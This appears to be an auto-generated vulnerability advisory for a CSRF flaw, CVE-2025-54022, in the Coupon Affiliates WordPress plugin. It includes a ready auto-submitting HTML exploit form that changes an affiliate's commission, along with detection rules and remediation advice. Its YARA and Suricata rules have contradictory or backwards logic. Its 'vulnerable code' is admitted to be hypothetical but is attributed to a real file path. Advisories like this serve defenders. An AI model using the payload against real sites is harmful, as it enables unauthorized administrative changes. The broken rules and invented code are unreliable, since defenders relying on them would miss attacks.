CVE-2025-54022
Executive Summary
CVE-2025-54022 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Coupon Affiliates WordPress plugin (slug: woo-coupon-usage) developed by Elliot Sowersby / RelyWP. This vulnerability affects all versions up to and including 6.4.0. The flaw allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized changes to affiliate settings, coupon configurations, or user roles within the WordPress ecosystem. As of this report, no official patch has been released, and the vendor's patch status is marked as UNKNOWN.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides within the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from the vendor's site. Since no patch is available, users are advised to consider disabling the plugin or implementing virtual patching via a Web Application Firewall (WAF). The lack of a CSRF nonce in administrative actions is the root cause.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The attack can be executed remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker's target are the same.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): High (H) – The attacker can modify plugin settings or data.
- Availability (A): None (N) – No denial of service impact.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for user interaction reduces the immediate risk. However, in a WordPress environment where administrators are often targeted via phishing, this can lead to significant integrity compromise.
Deep Dive & Mechanics
The vulnerability stems from the absence of CSRF nonces in critical administrative actions within the Coupon Affiliates plugin. In WordPress, CSRF protection is typically implemented by including a unique, user-specific token (nonce) in forms and URLs. The plugin fails to validate these tokens when processing requests to modify affiliate settings, coupon usage limits, or user assignments.
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a forged request (e.g., changing an affiliate's commission rate or disabling coupon validation).
- The attacker lures an authenticated WordPress administrator to visit the malicious page.
- The victim's browser automatically sends the forged request (e.g., via a hidden form submission or an image tag) to the vulnerable WordPress site.
- The plugin processes the request without verifying the nonce, executing the attacker's desired action.
WordPress Ecosystem Context: This is a classic WordPress plugin CSRF issue. The vulnerability does not affect the core WordPress application but rather the plugin's failure to adhere to WordPress coding standards for CSRF protection.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on standard WordPress CSRF remediation.
Vulnerable Code (Example from admin/class-coupon-affiliates-admin.php):
function save_affiliate_settings() {
// No nonce verification
update_option( 'coupon_affiliates_commission', $_POST['commission'] );
// ... other actions
}
Patched Code (Recommended Fix):
function save_affiliate_settings() {
// Verify nonce
if ( ! isset( $_POST['coupon_affiliates_nonce'] ) || ! wp_verify_nonce( $_POST['coupon_affiliates_nonce'], 'coupon_affiliates_save_settings' ) ) {
wp_die( 'Security check failed.' );
}
update_option( 'coupon_affiliates_commission', sanitize_text_field( $_POST['commission'] ) );
// ... other actions
}
The patched version adds wp_verify_nonce() and sanitize_text_field() to prevent CSRF and XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Coupon Affiliates <= 6.4.0 installed and activated.
- An authenticated administrator session (the victim).
Exploit Payload (HTML):
<html>
<body>
<h1>Click here for a free gift!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php?action=coupon_affiliates_update" method="POST">
<input type="hidden" name="commission" value="100" />
<input type="hidden" name="affiliate_id" value="1" />
<input type="submit" value="Claim Gift" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Steps:
- Host the HTML file on an attacker-controlled server.
- Send the link to the victim administrator via email or social engineering.
- Once the victim visits the page, the form auto-submits, changing the commission rate for affiliate ID 1 to 100%.
Blue Team (Defense & Detection)
Detection:
- Monitor for unexpected POST requests to
admin-post.phpwith action parameters related to Coupon Affiliates (e.g.,coupon_affiliates_update). - Look for HTTP Referer headers that do not match the site's domain.
- Use a WAF to block requests missing a valid nonce.
Prevention:
- Disable the plugin until a patch is released.
- Implement a Content Security Policy (CSP) that restricts form actions.
- Use a plugin like "Nonce Manager" to enforce CSRF checks.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwithaction=coupon_affiliates_*parameters. - Logs: WordPress debug log entries showing unexpected option updates (e.g.,
coupon_affiliates_commission). - File: Presence of suspicious HTML files on the server (if the attacker uploaded a payload).
- User Agent: Unusual User-Agent strings in admin area requests.
Detection Engineering
YARA Rule
rule CVE_2025_54022_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against Coupon Affiliates plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54022"
strings:
$action = /action=coupon_affiliates_[a-z_]+/
$admin_post = "admin-post.php"
$nonce_missing = "wp_verify_nonce" nocase
condition:
$admin_post and $action and not $nonce_missing
}
Sigma Rule
title: CVE-2025-54022 - Coupon Affiliates CSRF Exploit
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts against Coupon Affiliates plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-post.php'
cs-uri-query|contains: 'action=coupon_affiliates_'
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54022 Coupon Affiliates CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=coupon_affiliates_"; http_uri; pcre:"/wp_verify_nonce/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwithaction=coupon_affiliates_*parameters that lack a valid nonce. - Educate administrators about phishing attacks that could trigger CSRF.
Long-Term Fix:
- The vendor must add
wp_verify_nonce()checks to all admin-facing actions. - Users should update to a patched version once available (check the WordPress Plugin Directory or vendor site).
Workaround:
- Use a security plugin like Wordfence or Sucuri to add virtual patching.
- Restrict admin access to trusted IP addresses only.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-54022
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.